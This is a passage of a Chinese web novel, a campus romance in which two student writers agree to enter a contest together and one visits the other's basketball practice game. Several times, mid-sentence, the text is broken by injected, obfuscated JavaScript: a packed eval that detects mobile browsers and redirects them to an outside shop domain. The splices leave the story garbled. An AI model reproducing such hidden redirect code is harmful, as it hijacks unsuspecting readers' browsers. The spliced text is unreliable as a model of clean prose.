“你要是临时反水，我就拎着菜刀下十楼来砍人了。”小说家的想象力那般丰富，话一落地脑海里已经有杀人犯版颜语凉框框砍人的画面。 “那为了不被大卸八块，我决定上颜大佬的车。” 颜语凉被他这一句大佬哄得有点飘，信手抽了张纸巾写了一排字。 [颜语凉和祝君忱合作参加青书，不准反悔。] 想来幼稚，其实颜语凉一开始也只是想开个玩笑，结果脑袋一昏真的做了这件小孩子才做的事情。 祝君忱也不嫌，随手从笔篓里抽了支黑笔出来签上了自己的名字，颜语凉紧随其后。 好在都签的本名，但凡有一个人签笔名说不定就当场撕票了。 * 第二天的早课在九点半，颜语凉昨晚把那张签过字的纸巾夹在最近刚读的一本小说里，想想怕之后找不到，塞进了相框的照片后面，又觉得奇怪，拿出来放进了很久没打开过的小盒子里，又怕把它闷坏了，纠结再三，放进了玄关鞋柜顶上的篮子里，和想想的发夹、围脖放在一起，几乎是一进门就能看见。 他藏一块地方就想着下一个地方，折腾了很长的时间。 最后歇下来还得陪想想玩，玩累了还不怎么困就坐在阳台上看小说消遣，结果一不小心又过了点。 在床上一倒就瘫到日上三杆。 八点五十，手机闹钟准时响起来，颜语凉从被子里冒出个炸毛的脑袋，非常艰难地眯开了眼。 想到下周的今天还多一节早八课就越想越迷糊。 能不能把早上的课全部都取缔了。 他囫囵薅了把大剌剌躺在自己身侧的想想，这小猫是半夜巡视完领地倒在他腿上的，那会儿颜语凉还懵懵地醒了一下。 还是做猫好啊。 颜语凉坐起来，脸蹭蹭小猫毛茸茸的肚子，幻想着想想和自己互换身份替他上学。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758090|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今天上午十二点下课，下午两点钟就又要上课，中午颜语凉就懒得回家了，直接在学校将就一口。 “颜大爷今天翻哪个食堂的牌子呀？”邹煜安是一位被早八折磨出黑眼圈的人，一接到颜语凉消息就骑着小电驴来艺院的教学楼接人了。 “小爷我今天想吃四食堂的茶香鸡米饭，邹师傅，你怎么又换了辆电瓶车？”颜语凉跨上他的后座。 邹煜安见他坐稳便启程往四食堂的方向骑去，说起他的上一任坐骑，得意道：“高价卖给学弟了哈哈哈！” “然后低价买了辆不带靠背的？想摔死你颜大爷吗？”这辆车的后座和上一辆相比车速慢了些，还没有靠背，只有一个可怜兮兮的小扶手。 “害羞什么，直接抱紧我！”邹煜安语气里带着戏谑，声音还蛮大，“别人都是抱着我的呀！言爷！快抱我，让我上一次论坛热搜！！” 颜语凉在后边不轻不重地揍他一拳：“犯什么病。” 直男太可怕了。 电瓶车被他揍得扭了一下，颜语凉又骂了两句，直接把邹煜安骂爽了，从二食堂那绕了一大圈才到四食堂，结果成了来得最晚的那一批，排队排得老长。 颜语凉拳头都硬了，要不是在公共场合他都想套个麻袋把邹煜安扔垃圾桶里：“我还不如自己走过来呢。” “对不起，言爷，”邹煜安道歉道，“都怪我的电瓶车后座没有靠背。” 来晚了和有没有靠背有什么关系？ 颜语凉又微笑着给了他一拳，被对方非常机灵地让开。 “对了，我昨天还去专门问了点东西，你感不感兴趣？”邹煜安一改贱嗖嗖的作态，变得神秘兮兮起来。 “没兴趣。”指不定又是谁爱上了谁，谁和谁分手了的狗血戏码，一问都是不认识的人。 邹煜安却一挑眉：“祝君忱的，感不感兴趣？” 颜语凉抱着胳膊目光从手机里挪开，真来了兴趣：“说。” 邹煜安满脸写着“我就知道你想听”，低声说：“其实也没啥，就是打听了一些他们西校区那边都知道的。祝君忱是比我们小一届的研究生，说是没有任何不良嗜好，五好青年，长得帅性格好，家里好像还巨有钱，不知道那一年的校庆给学校捐了块破石头，校长还特别喜欢，就摆在西校区梨水园的花坛里。对了，他还是经管院篮球队二队的队长，以前是一队的，上了研究生以后便忙了，就退居二队，偶尔打一场篮球赛，那可是座无虚席。论坛西校区板块里面还有一些照片，我昨天搜了，可太帅了，全损画质都能帅破次元，简直就是全能男孩啊！” 除了家事，这些颜语凉其实都知道的差不多，只是昨天只记挂着园芮任凭什么能进篮球队，忘记问祝君忱是怎么当上祝队的了。 “然后，我昨天路过体育组看了下校篮球赛的赛程，今天晚上正好有他比赛，不过是一场很小的练习赛，表单上写是写他名字了，但是也写了替补的名，不知道他会不会上场。” 颜语凉捻了下衣角，摸了下鼻子，装作很自然地顺着他的话问：“在西校区吗？” “你想去？” 颜语凉头轻轻歪了一点说：“去关心一下新认识的朋友，打篮球磕磕碰碰地最容易受伤了。” 冠冕堂皇。 15. 偏心秤 邹煜安挤眉弄眼地撞了一下颜语凉的肩膀：“认真告诉哥，你和祝君忱？你俩有戏不？” 颜语凉被他撞得往旁边一踉跄，他们排着的这个队伍有些长，等了这么久才往前一点点，前面有人似乎认识颜语凉，频频往后看。 颜语凉一脸正义凛然地说：“我和祝君忱的关系就和我俩一样啊。” 邹煜安闻言露出一副害羞的表情，而后眉飞色舞地夹着嗓子说：“颜大爷，没想到你对我……” 颜语凉觉得这人是不是课上多了皮痒，直接上手掐对方的胳膊，试图让他恢复正常。 邹煜安被掐得嗷嗷叫，又不敢闹太大声，只得推着颜语凉的手求饶。 “不过，我说真的，我看人很准的！”邹煜安逃离魔爪正经道。 颜语凉却拆他台：“你上次还跟我说廖寻桃和程和欢有戏呢。” “他俩没戏吗？” “他俩有戏吗？” 邹煜安无奈地摇摇头：“你俩不是都写小甜文的吗？怎么在这种事情上都缺根筋呢？” 颜语凉一摊手示意不知道对方在说啥，转而拿出手机给祝君忱发起了消息。 队伍往前了，邹煜安很轻地推了一下没有注意到排队进度的颜语凉，幽幽地说：“如果我猜得没错的话，你现在在给祝君忱发消息吧！” 颜语凉觉得这是一件不需要猜的事情：“不然呢？我刚刚不是说晚上去西校区看篮球赛吗？” “这样，”邹煜安给他出馊主意，“你偷偷去，到了再告诉他，突然出现在看台上，或者突然出现在休息室里，给他个惊喜，电视剧里不都是这么演的吗？你们写剧本的应该知道得比我多吧。” 队伍像堵了很久的水突然被疏通了，颜语凉往前踱了好几步，沉吟片刻说：“可以。” 邹煜安没想到自己随口说的主意居然被采纳了，提醒道：“我瞎说的啊，万一你去了他不在呢？你是不是还得说我一句谎报军情？” “行吧，”颜语凉思考了一秒，“我问一下他今天的行程如何。” “你问了人家就告诉你啊？” “为什么不？”颜语凉脸上很自然地流露出不解。 邹煜安正要做一个比喻：比如说有人突然问你的行程你会轻易给吗？ 话还没说出口，颜语凉的目光从手机上挪开，一脸纯良地说：“而且，他已经告诉我了啊。” 【我无言以对】：在吗？ 【忱.】：在 【我无言以对】：你今天都干些啥？ 【忱.】:今天满课，晚上还得在学校，打比赛。 邹煜安凑过去看他们的聊天记录，难以置信道：“你们已经这么熟了吗？” 颜语凉自己都没意识到自己的语气里沾了些高兴：“这算熟吗？” “当然啊，”邹煜安心说这人是真的缺根筋，“你想想，平时我们这群人都不常问彼此在干嘛，问了也不一定及时回，回了也不一定真说，但是祝君忱是秒回你的还都告诉你了，这还不熟吗？” 颜语凉愣了一下却摇摇头，他自己心里清楚，其实他和祝君忱没有邹煜安说的那么熟，见过的次数一只手还数得过来，没有熟到像和邹煜安他们一个电话就能约出来玩的地步。 他私心太重，贪心不足。 颜语凉今天下午也是满课，上得天昏地暗，出教室门的时候天空已经堪堪黑了半边，九月份半凉的风蹿着，他的脑子里还是刚刚上课学的一条条艺术史。 望着天边某一片正在缓慢漂浮的云，颜语凉有些庆幸听了邹煜安的话，没有直接跟祝君忱说今天要去西校区的事，他有时候上完课状态会有些差，急需回城补状态，就像今天一样，在这个状态下，之前做的所有计划都会打退堂鼓。 坐到车里，他稍微缓过劲来了，为防止疲劳驾驶他靠着椅背打开手机，肌肉记忆地打开尽书小说网看了会书评，又习惯性地去看书架上某一本书，发现《海纳百石》在三天前已经完结了。 这本书是今辰好最新完结的作品，颜语凉每次都是想起来就把最新更新看了，没有其他目的，纯粹地想找吐槽点。 尽书有一个机制，就是会在书籍主页刷出“作者XXX来过”或者“作者XXX正在看”，称为作者脚印。成绩越高，脚印越好看、越高级，当然作者也可以把这个功能关闭。这几乎也成了很多作者的营销手段，有人甚至被扒出来高价购买某作者的脚印，结果两个作者一起塌房。 颜语凉的读者号和作者号是分开的，以前还经常登读者号，最近几年几乎都没有登过了，一是没有什么时间看小说，二是近年来好的小说真的少之又少。 所以，他踩今辰好的小说用的是作者号，所有来到《海纳百石》书籍详情的人都会看到“言不言正在看”，过了两天就会变成“言不言两天前来过”。 而且，颜语凉在尽书的等级几乎是最高的，在脚印系统中，等级越高排名越靠前，至少要挂30天，于是所有到访《海纳百石》的今辰好书迷都得恨得牙痒痒地看到书籍详情页的顶上一直挂着言不言的名字。 别人的脚印是用来真诚推荐，只有他们两个给彼此的脚印是真诚嘲讽。 颜语凉看着《海纳百石》书籍页，自己的名字又金光闪闪地挂在右侧的脚印栏上，心情逐渐变好，美滋滋的。 他点开自己最新完结的书，今辰好的名字也在上面挂着，这人以前是别的网站的，在尽书的等级远远没有颜语凉高，所以在脚印榜上只能排第三。 颜语凉每次看到都感觉是自己赢了，高兴地哼起小曲儿。 他又想起邹煜安中午说起的祝君忱的事迹，不假思索地点开了论坛软件，切换到西校区。 西校区论坛顶上有几个加精帖，第三个就是关于祝君忱的。 颜语凉点进去，看到了很多关于对方的照片，画质稀烂的、4k超清的、偷拍的、光明正大拍的、上课拍的、运动拍的，这架势颜语凉差点以为回到了他们东校区艺院的论坛。 他抬起手指搜索“篮球”，跳出了很多有关祝君忱打篮球的照片，但是都很糊，隐隐约约能分辨出有几张是颜语凉没见过的发型，又翻了两张，终于找到一张拍得很清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758091|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚的，夕阳西下，男孩运动后的汗水挂在额角被很随意地擦去，一条毛巾挂在他的脖子上，衬得祝君忱的面庞分外精致好看。 颜语凉忽然就起了想看这人打篮球的兴致，比中午那会儿还要想。 他感觉自己嗑了一口速效救心丸，立马就回过状态来了，手机导航西校区放在支架上，一脚踏上油门，向校外驶去。 西校区确实有篮球赛，但是这个篮球赛不是特别官方，所以是在外边的篮球场上，而不是有大看台的文体馆，这也是邹煜安中午吃饭的时候跟他说的。 颜语凉快到西校区的时候给祝君忱发了条消息，但是对方没有回，估计是已经在热身了。 校区不同，闸机录入的学生信息也不一样，同校不同校区的学生需要给保安出示学生证。颜语凉出示了电子学生证便顺利进了学校。 西校区和东校区的差别很大，颜语凉扫视一圈觉得非常陌生，只有教学楼和绿化带的颜色和他们那是一样的。 说来惭愧他在A大读了这么多年书，这还是他第一次来西校区。 颜语凉抬起手机看了一眼，祝君忱仍然没有回他消息。他叹了口气，站在陌生的大道上寸步难行，做了几秒心理斗争，他随手拉上个路人问今天的篮球赛在哪里开，幸好这位路人似乎也有去看比赛的准备，说直接带着他去篮球赛现场。 路人是个外向的女生，叫秦枝。 秦枝一边带路一边热心地问：“你是不是外校偷偷进来的？我们本校的可没几个不知道今天篮球赛在哪打。” 颜语凉脚下踩到了一片脆生生的叶子，闻言说：“我是东校区的，今天专门来看篮球赛。” “那你是专门来看祝队的，还是涂队的？” 颜语凉头轻轻歪了一下说：“涂队是？” “涂印年，新晋的我们西校区校草，以前是祝君忱，所以今天这个篮球赛被我们女生偷偷称为校草之争。”秦枝笑着说。 “这么老套？”东校区有个艺术学院，虽然没有影视表演系，但好歹跟艺术沾边，帅哥美女辈辈出，更别说别的学院也有长相出众的，几乎不争什么校草校花，大家都在不同的藤上默默开花。 秦枝耸耸肩：“那你是知道祝君忱才来的咯？” 颜语凉轻轻颔首。 谈笑间，他们已经到了篮球场附近，这场篮球赛确实火爆，没有观战席也被里三层外三层地围得满满的，篮球在硅胶地面上的弹跳声，混着人群各式各样的尖叫声，随着裁判一声哨响，宣布进入中场休息时间。 来来回回也有人在离开篮球场，颜语凉和秦枝混着人群往里边挤了一些，勉强能看到一些场上的光景。 踮脚吃力扫视一圈没找到祝君忱，颜语凉突然转头问秦枝：“同学，你站谁赢？” 秦枝不像廖寻桃是那种迷妹的性格，一副无所谓的样子：“谁赢我站谁呗。” 颜语凉闷头低笑一声说：“我请你喝杯奶茶，你站祝君忱吧。” 在他的心头有一杆秤，他想拼命往名为祝君忱的那一端塞东西，直到没有人能比得过他。 16. 三分球 “你是祝君忱的小迷弟吗？”秦枝嘴甜道，“祝君忱的小迷弟都长这么好看还这么大方吗？” 颜语凉言出必行点了杯他们校内的奶茶，给了她单号让秦枝过会去拿就行，也算是感谢她带路，听到对方这么说，颜语凉勾起一个笑：“我是他小迷哥。” 秦枝捏捏自己的下巴看看颜语凉说：“你比他大啊，看不出来嘛，我还以为你是新生呢。” 颜语凉打算绕一圈再去前面一些找祝君忱，对这位热心的女孩道了声别，并嘱托她一定要记得去拿奶茶，不然就浪费了。 现在是中场休息时间，凑热闹的人已经散去一些，但是也有新的人进来，依然把场地围得水泄不通，颜语凉绕了很大一圈，几乎是在篮球场的边边才找到空隙往前。 时间已经过了七点半，天已经完完全全黑了下来，几盏白炽灯把整个场地照得敞亮，颜语凉走到视线开阔的地方，一眼扫过就看到了祝君忱，这个人肤色偏白，和一众风吹日晒小麦色的队员相比要显眼很多，当然也有身高的原因在里面，他坐在长凳上比旁边的人都高一点。 颜语凉抬起手机看了一眼，名为【忱.】的微信聊天框依然没有新的消息弹出来，估计是还没有看过消息吧。 他点开相机对着祝君忱的方向，放大，拍了一张不太清晰的照片，就跟论坛里的那些一样。然后切软件发给了祝君忱。 希望祝君忱能看一下手机，要是没看那就只能等他结束了。 祝君忱是队内的小前锋，他们刚刚较对面多拿了四分，队内的氛围在中场休息时间很是松散。他今天上了一天的课，下了课就赶过来热身，这会儿汗淋淋的没缓过劲来，坐在祝君忱旁边的队员是队内的控球后卫，靠过来和他说话的时候，他不由自主地蹙了一点眉。 “祝队，你好久没打球还这么厉害啊！”身侧身着11号球衣的后卫叽叽喳喳的，“前几次比赛你都不来，去年都没来过几次怎么今天跟信管院打你就来了呀，难道你也听信了那个什么新晋校草的传言，想来和涂印年一决校草之争？” 祝君忱狠灌了一口水，微不可察地往旁边挪了一些，闻言疑惑道：“什么校草之争？” 站在一米远正在开玩笑一样你一句我一句出鬼主意的其他队员也都聚了过来。 “就是涂印年啊，去年招进篮球队的小黑马，他们院居然说他比我们祝队还要帅。” 6号球员抱着胳膊：“要我说，能说出这话的人赶紧去隔壁医学院拉个学眼视光的看看自己的眼睛有没有出问题吧。” 另一位连声附和：“就是就是，什么小黑马呀，刚刚都被我们祝队按在地上锤了，吹成啥了。” “还不如医学院新招进来的那个小帅哥呢。” “你整天研究学校的帅哥，你不会是男同吧！”有人打趣道，立马被狠狠揍了一拳肩膀。 “祝队，那你不知道涂印年你干嘛来区区练习赛呀，我有个朋友说你今天满课呢。”旁边的后卫又说，“难不成是单纯地想和我们打球？” 祝君忱又喝了口水说：“想来就来了。” 身侧的手机短促地震了一下，是来了消息。他想起自己到了篮球场后马上就进行赛前热身，有一段时间没有看手机了。 【我无言以对】：我到西校区了你在哪里打比赛？ 【我无言以对】:[图片] 第一条消息是半小时前，第二条消息就在刚刚，祝君忱点开这张照片，放大，瞳孔骤缩，猛然抬头，站起来，朝那个方向走去。 “是我的错觉吗，我看祝队今天老是抢对面那个……诶祝队你去哪啊？” 离中场休息结束还剩三分钟，围着看比赛的同学们这会儿心思也在各个队员身上，特别是两个队的队长，几乎是人群讨论的焦点。 祝君忱一起身，身上聚焦的无数的目光就跟着他一块动，看着他信步绕着篮球场的边缘套了一大圈站在了一位烫着小卷毛的男生面前。 “晚上好。”颜语凉刚发完消息就看到他拿着手机走了过来。 “晚上好。”祝君忱应道，“你怎么在这？” 颜语凉牵起一个得逞的笑，抱着胳膊站得歪了一些：“惊不惊喜？” 祝君忱抵着手笑了一声：“还好，我原本猜到你会来，但是直到我下课都没条消息，以为猜错了。” 他们站的地方在球场的边缘，光影迷蒙，人影错落。但是祝君忱的轮廓却依然很清晰，肩膀上虚挂着一条擦汗的毛巾，颜语凉的目光下落，落在他的喉结上，问：“渴吗？” “渴。”被颜语凉目光扫过的小凸起滚动了一下。 “你那缺水吗？大概多久结束，我请你喝饮料，你喜欢喝什么？” “还有一轮就结束了。”祝君忱往前迈了一步，偏头看向他原本聊天的地方，发现队员们都在看他，不过他没有在意，“你去我们那边坐着吧，站着累。” 颜语凉遂着他的目光望过去，并不想坐在一群汗津津的大汉中间，推辞道：“算了吧，我还没见过你打篮球呢，我待会就站在这看你进对面几个球。” 祝君忱挑了挑眉：“跟个领导似的。” 颜语凉清清嗓子应了这个领导，说：“好好干，公司不会亏待你的。” 祝君忱眉眼弯起来：“颜老板，咱公司多少钱一个月？” “别问这些有的没的，”颜语凉摇摇头，看到祝君忱的队友一直眼巴巴的看着这边，“你过来这么一会儿没事吗？” “没事，正式比赛不能乱跑。”但是今天只是一个练习赛。 “那他们为什么一副嗷嗷待哺的样子看着你，他们都是你儿子吗？” 祝君忱知道他们只是八卦自己什么时候多了个朋友，但是没有说给颜语凉听，看着时间差不多了，又随口扯了两句便和他道了别，转身回去准备继续比赛。 祝君忱走后，颜语凉能感觉到身后灼灼的、带着探究意味的目光，他没有多在意，抱着胳膊看着裁判员吹响哨子，一众篮球队选手就一一上场。 他的目光主要追随着祝君忱，对方走到自己位置的时候还往他这边望了一眼，颜语凉很轻地朝他笑笑，也不知道他看到没有。 篮球场拦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758092|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网外边的榕树长得很高，枝繁叶茂。夏天已去，微凉的风拍打着枝梢，咿呀作响。 篮球在硅胶地面上轻巧地弹动，男孩们时而冲刺时而停顿，在无数次的进攻与试探中被风吻过胸膛。 几乎是眨眼间，祝君忱便从对面某个人手中抢断了一个球，一个转身变向，迈进几步直接跳投进了个两分球，等对面反应过来，他已经和和身后一个队友默契击掌，退开几步距离抹去了额角一颗沁出的汗。 场下一阵惊呼。 颜语凉看得津津有味，心说真没白来一趟，口袋里的手机震了两下，他本以为是□□小群里的消息，一看发现并不是，居然是老家隔壁院子里的那个弟弟发来的消息。 【叶子】：小颜哥哥，你回北京没？ 颜语凉小时候住的地方沿河而傍，鸟语花香。在他记事没多久，隔壁院子里就住进来两个比他小一个头的小朋友，熟起来之后每天都跟在他后边，跟两个小尾巴似的。 林夕繁就是小尾巴其中之一，叶子是他的小名。 【我无言以对】：我一直在北京啊。 【叶子】：啊？七婆说你去厦门采风去了。 林夕繁口中的七婆是颜语凉的奶奶，和林家奶奶是亲姐妹，在同辈中排行第七，所以林家小孩都“七婆七婆”地喊。 【我无言以对】：本来打算去的，后来换了想法就没去。 颜语凉想问“你们要来北京玩吗？”，转而算了一下时间，这两个小孩是不是今年高考来着。 【我无言以对】：你们在北京？ 【叶子】：对呀，又变成你学弟了。 【我无言以对】：哪个校区？我什么时候买点东西看看你们。 【叶子】：西校区 颜语凉盯着这个最后一条消息愣了两秒，却听后边的人群突然都亢奋尖叫起来，他抬头看向球场，看见祝君忱的队员们已经欢呼着围着他又唱又跳了。 显而易见，他错过了好戏。 不过，颜语凉有一双“顺风耳”，听到后边的两个女生正兴奋雀跃地讨论着：“我草，这都能进？我还第一次看见现实中的三分球。” “我的天祝君忱简直开挂，我没记错的话这叫空接吧，不过，信管学院那个22号今天都被抢断一万次了，感觉球一到他手上就被祝君忱抢了。” “演员吗？” “纯菜吧。” 颜语凉站得有些累了，心说真被祝君忱看穿了自己的体质，他靠着网丝围栏扫过那群本场战败的队伍，有一名穿着22号球衣的队员正在同旁边的人说着话，皱着眉头看起来又愧疚又委屈。 颜语凉有些轻微近视，只顾着看祝君忱了，才发现园芮任也在场上。 颜语凉又眯了下眼，没看错，这位脑残仁兄身上的号码确实是22。 这位就是后边女生口中被祝君忱抢了无数次球的纯菜演员？ 颜语凉靠着网·的身形动都没动，捻下来一片伸过网的叶子，想想还是没忍住笑出了声。 这可以理解为，祝君忱在替他出头，替他报复吗？ 17. 小代价 “祝队，你刚刚那个球把我帅得都想原地翻跟头了！”队内中锋本想上手去勾祝君忱的脖子但想起来对方对这个动作很是反感便及时住了脚。 “祝队，练习赛这么狠啊？感觉对面那个后卫看见篮球都要有阴影了哈哈哈哈。” “是祝队会抓弱点好不好，那个后卫今天简直是弱点中的弱点，他叫园什么来着？” “园芮任，他确实每次训练赛就喜欢混。”队内的控球后卫比了个八在自己下巴上，“不像我，我可是队内战术小地雷，和祝队完美配合！” 他们在七嘴八舌地说，祝君忱随口应对两句，并没有暴露自己今天一直盯着园芮任的“恶劣行径”。 每一回比赛结束，队友们都会找各种借口出去搓一顿，赢了就是庆功，输了就是犒劳，祝君忱不太爱去，每次都以忙为由拒绝，所以和这群人的关系依然停留在球场上。 今天他也是同样回掉了他们的聚餐邀请，不过理由和前几次不太一样，变成了：“我朋友在等我。” “祝队，是那边那个吗？”队内后卫指着颜语凉的方向，祝君忱很轻地点了下头。 “祝队，他是哪个专业的啊，我怎么从来没见过，不应该啊，难道我的帅男靓女雷达失灵了？？” “祝队，他穿的那条牛仔裤有点帅啊，祝队你回头给我要个链接呗。” 剧烈运动后胸膛的起伏还未平定，祝君忱用肩头挂着的毛巾抹了把脸，塞进随身的黑包里，没有应他们的问题，三两句盖过，便朝他们挥了手。 颜语凉的目光从园芮任身上挪开，说实话，他并不关心这人打球是厉害还是不厉害，是赢了还是输了。 只要祝君忱厉害，祝君忱赢了就行。 他看着祝君忱别了队友，朝自己走过来，勾起一个笑：“厉害呀。” 祝君忱站定，他那个三分球只有三四成把握，投进去的时候望向颜语凉想看看对方是什么表情，那会儿鼓掌声尖叫声鼎沸，他看到颜语凉状况外地停下了敲手机的手。 于是祝君忱问：“颜老板，我刚刚一共进了几分？” 刚刚开了会儿小差而且根本没有数球、也分不清是一分还是两分球的颜老板：…… 心虚的颜老板目移，看到了比分面板19:10。 找到一个破烂救命稻草的颜老板脸不红心不跳：“19个。” 祝君忱抵着手笑了一声，由于刚才的运动，他的气息还有些不稳，学着颜语凉的样子靠在拦网上，胳膊上的肌肉线条隐隐可见，他问道：“颜老板，全队的球都是我投的？” 颜老板没辙了，话音一转，直接把这个话题揭过去：“上次说好的再去街角喝一次酒，择日不如撞日，我们现在就去？反正回去也顺路。” 祝君忱偏头嗅了下自己的肩膀，大量的运动出了很多汗，他不太确定自己现在是不是臭烘烘的，说：“那你等我去更衣室洗个澡换个衣服。” 文体馆有几间独立的小浴室，专门用于同学们运动后及时清洗和更换衣物。 颜语凉点点头，做了个请的手势说：“你带路。” 祝君忱带着颜语凉走出篮球场，篮球赛结束，周边的人已经走了很多，还剩零星几个留下来聊着天，慢慢的有喜欢打球的男生们抱着篮球嬉笑着进来，篮球落在地上的声音和少年们的叫喊却仍未停止。 天空是深蓝色的，星星像坠在海面的波点。祝君忱给颜语凉介绍着路边的建筑，说篮球场离文体馆有一段距离，所以其实大家打完球都会直接回宿舍或者去浴室洗，没有必要去文体馆洗，但是他是住在外面的，没有别的落脚点去洗澡。 西校区文艺风拉满，每一个路灯都做得很精致，灯壁上都刻着字儿，但是仔细一看全是医学的名言。 祝君忱察觉到颜语凉的目光落在一盏盏路灯上，解释道：“文体离医学院最近，这一片都是医学院的楼。” “噢。”颜语凉看着那一句句医者仁心的话，突然想起来邹煜安告诉他的事，问道：“听说你家给学校捐了块石头？” 周遭陷入长达三秒的沉默，祝君忱眨了下眼终于说：“大二的时候，我们队拿了校级篮球赛冠军，我妈高兴买了块石头。” 颜语凉疑惑道：“你好像不太愿意提这件事？” “……那块石头背面刻了我名字。” “我怎么没听说这件事？”如果邹煜安知道的话肯定会顺带告诉他的。 “因为没人去扒石头后面的草，没人知道。” 祝君忱告诉了他一件别人不知道的事，颜语凉有些开心地快步往前走了两步，开玩笑道：“石头在哪？我去扒。” 被祝君忱狠狠剜了一眼。 颜语凉笑着靠近，拍他一下，夸道：“不过你打篮球确实厉害。” 靠近的那一刻，颜语凉闻到了祝君忱身上浓烈的、运动后的气息，不像他曾经不经意间嗅到的别的男生身上的酸臭，是一种难以言说的、有点好闻的味道。 祝君忱偏头看他一眼：“其实我更喜欢打羽毛球。” 颜语凉在祝君忱转头的那一刻看到了对方眼里被灯光照亮的一片，又随着往前走的脚步变暗，他们正走过一个灯光分布不大均匀的小花园。 颜语凉眨了下眼说：“我九、十岁那会也爱玩羽毛球，但是我家旁边就是河，我天天和隔壁弟弟们把球打河里。” “然后呢？”祝君忱问。 “然后我们就撑着船，拿个网兜去捞，被大人们看到了就指着鼻子骂一顿。” “没去别的地方打过？”祝君忱眼皮子很轻地往下耷，像在看脚边的碎叶子。 “……” 这一片的光线极暗，两个人都看不清彼此的表情。 颜语凉攥了下手心，脑海里响起一个嘶哑难听的声音—— “赔钱货！硬要出去挥杆子，还把人手打骨折了？果然生下来就是……”男人轻蔑的眼神扫下来，“这钱要赔你自己看着办吧！小崽子，手砍下来去赔！” “人都说了自己摔的了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758093|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还耿耿于怀干什么？！”女人站在他身前，堪堪挡住他一半的视线。 颜语凉眼神一坠，落在前面某一个很小的石子上，强行打断了自己的思绪，回答祝君忱说：“没有。” 祝君忱转了下右手手腕，说话声音就像这九月晴天夜晚的风，带着仲夏离开时未卷走的暖，邀请道：“那下次和我打次羽毛球去。” 颜语凉轻声笑道：“我平时上学走路开车就算运动了，运动五分钟我要充电两小时。” “有没有人说你像个小老头？” 祝君忱早就发现了，在那次逛夜市的时候，才走多少路颜语凉就开始强撑着迈步子，走个几米两条腿就打一次架。 颜语凉努努嘴：“我刚上大学那会儿经历也很旺盛的好不好。” 颜语凉大学本科期间有一段时间特别爱出去玩，也是在那段时间迷上的喝各种调酒。 那段时间他觉得自己永远十八。 但是后来，某一次晚归翻墙摔了一跤崴了脚，躺了靠两周脚踝才不那么痛。 从此他感觉自己永远八十。 谈笑间，他们看见了灯火通明的文体馆。 祝君忱进洗澡间换衣服，颜语凉便坐在外面等，顺便看一下林夕繁之前给他发的、但他被别的事耽搁的消息。 【叶子】：我们明天后天都有空，课不算多，挑你有空的点我们请你吃个饭吧！ 【我无言以对】：哪有让你俩请客的道理？ 【我无言以对】：我到时候给你发消息 男生洗澡很快，更何况有人在等，不过十分钟祝君忱便换好衣服，拎着一个小黑书包出来了。 颜语凉闻声抬头，看见对方穿了一件黑色的T恤，右边胸膛上和之前那件一样绣着个“hello”，他不禁笑道：“你这衣服是批发的吗？” “看着好看，多买了两件。”祝君忱拎了一下胸口的绣花，抬头问他，“你开车来的？” “对，”颜语凉心说可惜，今天坐不了祝君忱车了，转而想到了刚刚林夕繁的消息，说，“但是我明天要来西校区请我弟弟们吃个饭。” “弟弟们？”祝君忱微蹙了下眉。 “就是往刚刚跟你说的，一起捞羽毛球那两个，我表弟，住我老家隔壁的，”颜语凉解释说，“今天坐你车去街角，明天打车过来就行。” 其实最方便的就是各开各的车，到小酒馆汇合就行。 兴许是考虑到这样回头回家的时候要请两个代驾，祝君忱没有否决对方这个有些麻烦的说法，反而提议道：“明早我早八，如果你七点能起来的话，我可以送你来西校区。” 九点都起不来的颜语凉保持着坐在椅子上的姿势，食指有一下没一下地敲着膝盖。 挣扎了两秒的颜小老头说：“可以。” “行。”祝君忱从包里的夹层拿出车钥匙，勾在指尖发出清脆的声响。 颜语凉用自己明天早上的睡觉时间换今晚坐祝君忱一刻钟副驾和明早一刻钟副驾。 18. 小糖饼 天气已经没有盛夏那般炽热了。 车里没开空调，祝君忱把车窗打开，风就从窗口灌进来，拂着颜语凉的面颊，凉凉的。 